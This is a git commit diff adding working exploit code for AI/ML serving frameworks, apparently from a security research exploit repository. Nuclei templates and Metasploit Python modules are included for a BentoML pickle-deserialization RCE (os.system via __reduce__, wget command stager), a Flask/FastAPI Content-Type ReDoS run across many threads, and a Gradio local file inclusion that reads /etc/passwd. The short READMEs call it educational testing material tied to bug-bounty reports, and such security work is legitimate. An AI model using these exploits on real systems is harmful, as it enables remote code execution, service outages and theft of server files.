April exploit release
parent
655e78ff31
commit
df616d571b
|
@ -0,0 +1,26 @@
|
||||||
|
# BentoML Vulnerabilities and Exploits
|
||||||
|
|
||||||
|
BentoML is a model serving framework that offers a unified standard for AI inference, model packaging, and serving optimizations.
|
||||||
|
|
||||||
|
## Vulnerabilities
|
||||||
|
|
||||||
|
### Remote Code Execution
|
||||||
|
|
||||||
|
- **Description**: BentoML < 1.2.5 is vulnerable to RCE via Python object deserialization.
|
||||||
|
- **Impact**: This vulnerability could allows an attacker to gain Remote Code Execution on the server running the BentoML inference server.
|
||||||
|
|
||||||
|
## Reports
|
||||||
|
|
||||||
|
- **@pinkdraconian**: https://huntr.com/bounties/349a1cce-6bb5-4345-82a5-bf7041b65a68
|
||||||
|
|
||||||
|
## Disclaimer
|
||||||
|
|
||||||
|
The vulnerabilities and associated exploits provided in this repository are for educational and ethical security testing purposes only.
|
||||||
|
|
||||||
|
## Contribution
|
||||||
|
|
||||||
|
Contributions to improve the exploits or documentation are welcome. Please follow the contributing guidelines outlined in the repository.
|
||||||
|
|
||||||
|
## License
|
||||||
|
|
||||||
|
All exploits and templates in this repository are released under the Apache 2.0 License.
|
|
@ -0,0 +1,29 @@
|
||||||
|
id: bentoml-rce
|
||||||
|
|
||||||
|
info:
|
||||||
|
name: BentoML Insecure Deserialization RCE Simulation
|
||||||
|
author: DanMcInerney, byt3bl33d3r, pinkdraconian
|
||||||
|
severity: critical
|
||||||
|
description: Simulates an insecure deserialization attack on BentoML to trigger remote code execution. Binary data is string "protectai" pickled.
|
||||||
|
reference:
|
||||||
|
- https://huntr.com/bounties/349a1cce-6bb5-4345-82a5-bf7041b65a68
|
||||||
|
classification:
|
||||||
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||||
|
cvss-score: 9.8
|
||||||
|
cwe-id: CWE-1188 # Insecure Default Initialization of Resource
|
||||||
|
tags: bentoml, rce, deserialization, protectai, huntr, ai, machine-learning
|
||||||
|
|
||||||
|
requests:
|
||||||
|
- method: POST
|
||||||
|
path:
|
||||||
|
- "{{BaseURL}}/summarize"
|
||||||
|
headers:
|
||||||
|
Content-Type: "application/vnd.bentoml+pickle"
|
||||||
|
body: !!binary |
|
||||||
|
gASVJAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAlwcm90ZWN0YWmUhZRSlC4=
|
||||||
|
matchers-condition: and
|
||||||
|
matchers:
|
||||||
|
- type: word
|
||||||
|
words:
|
||||||
|
- "Input should be a valid dictionary or instance of Input"
|
||||||
|
part: body
|
|
@ -0,0 +1,109 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
|
||||||
|
|
||||||
|
# standard modules
|
||||||
|
import logging
|
||||||
|
import pickle
|
||||||
|
import os
|
||||||
|
from urllib.parse import urljoin
|
||||||
|
from metasploit import module
|
||||||
|
|
||||||
|
# extra modules
|
||||||
|
dependencies_missing = False
|
||||||
|
try:
|
||||||
|
import requests
|
||||||
|
except ImportError:
|
||||||
|
dependencies_missing = True
|
||||||
|
|
||||||
|
metadata = {
|
||||||
|
'name': 'BentoML Pickle RCE',
|
||||||
|
'description': '''
|
||||||
|
RCE in BentoML (=< 1.2.5) through pickle deserialization.
|
||||||
|
''',
|
||||||
|
'authors': [
|
||||||
|
'pinkdraconian', # Vulnerability discovery
|
||||||
|
'byt3bl33d3r <marcello@protectai.com>' # MSF module
|
||||||
|
],
|
||||||
|
'rank': 'excellent',
|
||||||
|
'date': '2024-02-06',
|
||||||
|
'license': 'MSF_LICENSE',
|
||||||
|
'references': [
|
||||||
|
{'type': 'url', 'ref': 'https://huntr.com/bounties/349a1cce-6bb5-4345-82a5-bf7041b65a68'},
|
||||||
|
{'type': 'cve', 'ref': 'CVE-2024-2912'}
|
||||||
|
],
|
||||||
|
'type': 'remote_exploit_cmd_stager',
|
||||||
|
'targets': [
|
||||||
|
{'platform': 'linux', 'arch': 'aarch64'},
|
||||||
|
{'platform': 'linux', 'arch': 'x64'},
|
||||||
|
{'platform': 'linux', 'arch': 'x86'}
|
||||||
|
],
|
||||||
|
'default_options': {
|
||||||
|
'MeterpreterTryToFork': True
|
||||||
|
},
|
||||||
|
'payload': {
|
||||||
|
'command_stager_flavor': 'wget'
|
||||||
|
},
|
||||||
|
'options': {
|
||||||
|
'command': {'type': 'string', 'description': 'The command to execute', 'required': True, 'default': 'echo "Hello from Metasploit"'},
|
||||||
|
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
|
||||||
|
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 3000},
|
||||||
|
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False},
|
||||||
|
'api_endpoint': {'type': 'string', 'description': 'The BentoML API endpoint to send the request to', 'required': True, 'default': '/summarize'}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
def convert_args_to_correct_type(args):
|
||||||
|
'''
|
||||||
|
Utility function to correctly "cast" the modules options to their correct types according to the options.
|
||||||
|
|
||||||
|
When a module is run using msfconsole, the module args are all passed as strings
|
||||||
|
so we need to convert them manually. I'd use pydantic but want to avoid extra deps.
|
||||||
|
'''
|
||||||
|
|
||||||
|
corrected_args = {}
|
||||||
|
|
||||||
|
for k,v in args.items():
|
||||||
|
option_to_convert = metadata['options'].get(k)
|
||||||
|
if option_to_convert:
|
||||||
|
type_to_convert = metadata['options'][k]['type']
|
||||||
|
if type_to_convert == 'bool':
|
||||||
|
if isinstance(v, str):
|
||||||
|
if v.lower() == 'false':
|
||||||
|
corrected_args[k] = False
|
||||||
|
elif v.lower() == 'true':
|
||||||
|
corrected_args[k] = True
|
||||||
|
|
||||||
|
if type_to_convert == 'port':
|
||||||
|
corrected_args[k] = int(v)
|
||||||
|
|
||||||
|
return {**args, **corrected_args}
|
||||||
|
|
||||||
|
def run(args):
|
||||||
|
args = convert_args_to_correct_type(args)
|
||||||
|
|
||||||
|
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
|
||||||
|
|
||||||
|
logging.debug(args)
|
||||||
|
if dependencies_missing:
|
||||||
|
logging.error('Module dependency (requests) is missing, cannot continue')
|
||||||
|
return
|
||||||
|
|
||||||
|
base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}"
|
||||||
|
|
||||||
|
class P(object):
|
||||||
|
def __reduce__(self):
|
||||||
|
return (os.system,(args['command'],))
|
||||||
|
|
||||||
|
full_url = f"{base_url}" + args['api_endpoint']
|
||||||
|
logging.info(f"Sending request to {full_url}")
|
||||||
|
|
||||||
|
r = requests.post(
|
||||||
|
full_url,
|
||||||
|
pickle.dumps(P()), headers={"Content-Type": "application/vnd.bentoml+pickle"}
|
||||||
|
)
|
||||||
|
logging.debug(f"{r.status_code} - {r.text}")
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
module.run(metadata, run)
|
|
@ -0,0 +1,29 @@
|
||||||
|
# Flask/FastAPI Vulnerabilities and Exploits
|
||||||
|
|
||||||
|
Flask and FastAPI are vulnerable to a Regex Denial of Service (ReDoS).
|
||||||
|
The request needs to be submitted to a POST API endpoint that attempts the read the request body.
|
||||||
|
|
||||||
|
FastAPI is only vulnerable when processing Form data and not JSON.
|
||||||
|
|
||||||
|
## Vulnerabilities
|
||||||
|
|
||||||
|
### ReDOS
|
||||||
|
|
||||||
|
- **Description**: FastAPI < 0.109.0 is vulnerable to a ReDoS when preocessing form data. Flask is still vulnerable.
|
||||||
|
- **Impact**: An attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources.
|
||||||
|
|
||||||
|
## Reports
|
||||||
|
|
||||||
|
- **@nicecatch2000**: https://huntr.com/bounties/6745259d-d16e-4fe5-97fe-113b64d6134f/
|
||||||
|
|
||||||
|
## Disclaimer
|
||||||
|
|
||||||
|
The vulnerabilities and associated exploits provided in this repository are for educational and ethical security testing purposes only.
|
||||||
|
|
||||||
|
## Contribution
|
||||||
|
|
||||||
|
Contributions to improve the exploits or documentation are welcome. Please follow the contributing guidelines outlined in the repository.
|
||||||
|
|
||||||
|
## License
|
||||||
|
|
||||||
|
All exploits and templates in this repository are released under the Apache 2.0 License.
|
|
@ -0,0 +1,111 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
|
||||||
|
|
||||||
|
# standard modules
|
||||||
|
import logging
|
||||||
|
import concurrent.futures
|
||||||
|
from urllib.parse import urljoin
|
||||||
|
|
||||||
|
# extra modules
|
||||||
|
dependencies_missing = False
|
||||||
|
try:
|
||||||
|
import requests
|
||||||
|
from requests import Request, Session
|
||||||
|
except ImportError:
|
||||||
|
dependencies_missing = True
|
||||||
|
|
||||||
|
from metasploit import module
|
||||||
|
|
||||||
|
|
||||||
|
metadata = {
|
||||||
|
'name': 'Flask Content-Type ReDoS',
|
||||||
|
'description': '''
|
||||||
|
Flask is vulnerable to a Regex Denial of Service (ReDoS).
|
||||||
|
The request needs to be submitted to a POST API endpoint that attempts the read the request body.
|
||||||
|
''',
|
||||||
|
'authors': [
|
||||||
|
'nicecatch2000' # Vuln discovery
|
||||||
|
'byt3bl33d3r <marcello@protectai.com>' # MSF Module
|
||||||
|
],
|
||||||
|
|
||||||
|
'rank': 'excellent',
|
||||||
|
'date': '2023-11-15',
|
||||||
|
'license': 'MSF_LICENSE',
|
||||||
|
'references': [
|
||||||
|
{'type': 'url', 'ref': 'https://huntr.com/bounties/6745259d-d16e-4fe5-97fe-113b64d6134f/'},
|
||||||
|
{'type': 'cve', 'ref': ''}
|
||||||
|
],
|
||||||
|
'type': 'dos',
|
||||||
|
'options': {
|
||||||
|
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
|
||||||
|
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 80},
|
||||||
|
'dos_threads': {'type': 'int', 'description': 'Max number of concurrent threads', 'required': True, 'default': 10},
|
||||||
|
'url_path': {'type': 'string', 'description': 'URL Path', 'required': False, 'default': '/'},
|
||||||
|
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
def convert_args_to_correct_type(args):
|
||||||
|
'''
|
||||||
|
Utility function to correctly "cast" the modules options to their correct types according to the options.
|
||||||
|
|
||||||
|
When a module is run using msfconsole, the module args are all passed as strings
|
||||||
|
so we need to convert them manually. I'd use pydantic but want to avoid extra deps.
|
||||||
|
'''
|
||||||
|
|
||||||
|
corrected_args = {}
|
||||||
|
|
||||||
|
for k,v in args.items():
|
||||||
|
option_to_convert = metadata['options'].get(k)
|
||||||
|
if option_to_convert:
|
||||||
|
type_to_convert = metadata['options'][k]['type']
|
||||||
|
if type_to_convert == 'bool':
|
||||||
|
if isinstance(v, str):
|
||||||
|
if v.lower() == 'false':
|
||||||
|
corrected_args[k] = False
|
||||||
|
elif v.lower() == 'true':
|
||||||
|
corrected_args[k] = True
|
||||||
|
|
||||||
|
if type_to_convert == 'port' or type_to_convert == 'int':
|
||||||
|
corrected_args[k] = int(v)
|
||||||
|
|
||||||
|
return {**args, **corrected_args}
|
||||||
|
|
||||||
|
def redos(url: str, worker_n: int):
|
||||||
|
logging.info(f"DoS thread {worker_n} started")
|
||||||
|
|
||||||
|
r = requests.post(
|
||||||
|
url,
|
||||||
|
data={"a": 1},
|
||||||
|
headers={
|
||||||
|
"Content-Type": 'application/x-www-form-urlencoded; !="{}'.format("\\" * 117)
|
||||||
|
},
|
||||||
|
timeout = 1
|
||||||
|
)
|
||||||
|
|
||||||
|
return r.status_code, r.text
|
||||||
|
|
||||||
|
def run(args):
|
||||||
|
args = convert_args_to_correct_type(args)
|
||||||
|
|
||||||
|
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
|
||||||
|
|
||||||
|
logging.debug(args)
|
||||||
|
if dependencies_missing:
|
||||||
|
logging.error('Module dependency (requests) is missing, cannot continue')
|
||||||
|
return
|
||||||
|
|
||||||
|
MAX_WORKERS = args['dos_threads']
|
||||||
|
base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}"
|
||||||
|
url = urljoin(base_url, args['url_path'])
|
||||||
|
|
||||||
|
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
|
||||||
|
future_to_index = {executor.submit(redos, url, i): i for i in range(0,MAX_WORKERS)}
|
||||||
|
done, not_done = concurrent.futures.wait(future_to_index, timeout=MAX_WORKERS)
|
||||||
|
|
||||||
|
logging.info("Completed, server should be unresponsive")
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
module.run(metadata, run)
|
|
@ -0,0 +1,26 @@
|
||||||
|
# Gradio Vulnerabilities and Exploits
|
||||||
|
|
||||||
|
Gradio is the fastest way to demo your machine learning model with a friendly web interface so that anyone can use it.
|
||||||
|
|
||||||
|
## Vulnerabilities
|
||||||
|
|
||||||
|
### Local File Inclusion
|
||||||
|
|
||||||
|
- **Description**: Gradio < 4.3.0 is vulnerable to an LFI in the `/component_server` API endpoint.
|
||||||
|
- **Impact**: This vulnerability allows an attacker to read files off the filesystem remotely.
|
||||||
|
|
||||||
|
## Reports
|
||||||
|
|
||||||
|
- **@ozelis**: https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338
|
||||||
|
|
||||||
|
## Disclaimer
|
||||||
|
|
||||||
|
The vulnerabilities and associated exploits provided in this repository are for educational and ethical security testing purposes only.
|
||||||
|
|
||||||
|
## Contribution
|
||||||
|
|
||||||
|
Contributions to improve the exploits or documentation are welcome. Please follow the contributing guidelines outlined in the repository.
|
||||||
|
|
||||||
|
## License
|
||||||
|
|
||||||
|
All exploits and templates in this repository are released under the Apache 2.0 License.
|
|
@ -0,0 +1,66 @@
|
||||||
|
id: gradio-local-file-include
|
||||||
|
info:
|
||||||
|
name: Gradio Local File Read Vulnerability
|
||||||
|
author: ozelis, DanMcInerney
|
||||||
|
severity: high
|
||||||
|
description: This nuclei template checks for Local File Read vulnerability in Gradio applications.
|
||||||
|
reference:
|
||||||
|
- https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338
|
||||||
|
- https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2
|
||||||
|
classification:
|
||||||
|
cvss-score: 7.5
|
||||||
|
cwe-id: CWE-29
|
||||||
|
cve-id: CVE-2024-1561
|
||||||
|
tags: gradio, lfi, local-file-include, python, api, ai, machine-learning, huntr
|
||||||
|
|
||||||
|
requests:
|
||||||
|
- method: GET
|
||||||
|
path:
|
||||||
|
- "{{BaseURL}}/config"
|
||||||
|
|
||||||
|
extractors:
|
||||||
|
- type: json
|
||||||
|
part: body
|
||||||
|
name: component_id
|
||||||
|
internal: true
|
||||||
|
json:
|
||||||
|
- ".components[0].id"
|
||||||
|
|
||||||
|
- method: POST
|
||||||
|
path:
|
||||||
|
- "{{BaseURL}}/component_server"
|
||||||
|
|
||||||
|
headers:
|
||||||
|
Content-Type: application/json
|
||||||
|
|
||||||
|
body: |
|
||||||
|
{
|
||||||
|
"component_id": "{{component_id}}",
|
||||||
|
"data": "/etc/passwd",
|
||||||
|
"fn_name": "move_resource_to_block_cache",
|
||||||
|
"session_hash": "aaaaaaaaaaa"
|
||||||
|
}
|
||||||
|
|
||||||
|
extractors:
|
||||||
|
- type: regex
|
||||||
|
part: body
|
||||||
|
name: extracted_content
|
||||||
|
internal: true
|
||||||
|
group: 1
|
||||||
|
regex:
|
||||||
|
- "\"(.+)\""
|
||||||
|
|
||||||
|
- method: GET
|
||||||
|
path:
|
||||||
|
- "{{BaseURL}}/file={{extracted_content}}"
|
||||||
|
|
||||||
|
matchers-condition: and
|
||||||
|
|
||||||
|
matchers:
|
||||||
|
- type: regex
|
||||||
|
regex:
|
||||||
|
- "root:.*:0:0:"
|
||||||
|
|
||||||
|
- type: status
|
||||||
|
status:
|
||||||
|
- 200
|
|
@ -0,0 +1,109 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
# Metasploit external module
|
||||||
|
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import re
|
||||||
|
|
||||||
|
# extra modules
|
||||||
|
dependencies_missing = False
|
||||||
|
try:
|
||||||
|
import requests
|
||||||
|
except ImportError:
|
||||||
|
dependencies_missing = True
|
||||||
|
|
||||||
|
from metasploit import module
|
||||||
|
|
||||||
|
|
||||||
|
metadata = {
|
||||||
|
'name': 'Gradio Local File Include Vulnerability',
|
||||||
|
'description': '''
|
||||||
|
Gradio applications are vulnerable to Local File Inclusion (LFI) via the component_server endpoint.
|
||||||
|
This module exploits the vulnerability to read arbitrary files from the target system.
|
||||||
|
''',
|
||||||
|
'authors': [
|
||||||
|
'Dan McInerney <danhmcinerney@gmail.com>',
|
||||||
|
'ozelis',
|
||||||
|
],
|
||||||
|
'rank': 'excellent',
|
||||||
|
'date': '2024-05-06',
|
||||||
|
'license': 'MSF_LICENSE',
|
||||||
|
'references': [
|
||||||
|
{'type': 'url', 'ref': 'https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338'},
|
||||||
|
{'type': 'cve', 'ref': 'CVE-2024-1561'}
|
||||||
|
],
|
||||||
|
'type': 'single_scanner',
|
||||||
|
'options': {
|
||||||
|
'filepath': {'type': 'string', 'description': 'File to read', 'required': True, 'default': '/etc/passwd'},
|
||||||
|
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
|
||||||
|
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 7860},
|
||||||
|
'ssl': {'type': 'bool', 'description': 'Use SSL/TLS for outgoing connections', 'required': True, 'default': False}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
def convert_args_to_correct_type(args):
|
||||||
|
'''
|
||||||
|
Converts module options to their correct types.
|
||||||
|
'''
|
||||||
|
corrected_args = {}
|
||||||
|
for k, v in args.items():
|
||||||
|
option = metadata['options'].get(k)
|
||||||
|
if option:
|
||||||
|
type_to_convert = option['type']
|
||||||
|
if type_to_convert == 'bool':
|
||||||
|
corrected_args[k] = v.lower() == 'true'
|
||||||
|
elif type_to_convert == 'port':
|
||||||
|
corrected_args[k] = int(v)
|
||||||
|
|
||||||
|
return {**args, **corrected_args}
|
||||||
|
|
||||||
|
def run(args):
|
||||||
|
args = convert_args_to_correct_type(args)
|
||||||
|
|
||||||
|
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
|
||||||
|
logging.debug(args)
|
||||||
|
|
||||||
|
if dependencies_missing:
|
||||||
|
logging.error('Module dependency (requests) is missing, cannot continue')
|
||||||
|
return
|
||||||
|
|
||||||
|
base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}"
|
||||||
|
|
||||||
|
try:
|
||||||
|
with requests.Session() as s:
|
||||||
|
# Get app config to retrieve a valid component ID
|
||||||
|
rsp = s.get(f"{base_url}/config")
|
||||||
|
rsp.raise_for_status()
|
||||||
|
|
||||||
|
# Extract the first component ID from the configuration
|
||||||
|
component_id = rsp.json()["components"][0]["id"]
|
||||||
|
|
||||||
|
# Exploit the LFI vulnerability to get the file path
|
||||||
|
exploit_json = {
|
||||||
|
"component_id": component_id,
|
||||||
|
"data": args['filepath'],
|
||||||
|
"fn_name": "move_resource_to_block_cache",
|
||||||
|
"session_hash": "aaaaaaaaaaa"
|
||||||
|
}
|
||||||
|
|
||||||
|
rsp = s.post(f"{base_url}/component_server", json=exploit_json)
|
||||||
|
rsp.raise_for_status()
|
||||||
|
|
||||||
|
# Extract the temporary path and read the file
|
||||||
|
temp_path = re.findall(r'"(.*?)"', rsp.text)[0]
|
||||||
|
read_url = f"{base_url}/file={temp_path}"
|
||||||
|
|
||||||
|
rsp = s.get(read_url)
|
||||||
|
rsp.raise_for_status()
|
||||||
|
|
||||||
|
logging.info("File content:")
|
||||||
|
logging.info(rsp.text)
|
||||||
|
|
||||||
|
except requests.exceptions.RequestException as e:
|
||||||
|
logging.error(f"Request error: {str(e)}")
|
||||||
|
return
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
module.run(metadata, run)
|
Loading…
Reference in New Issue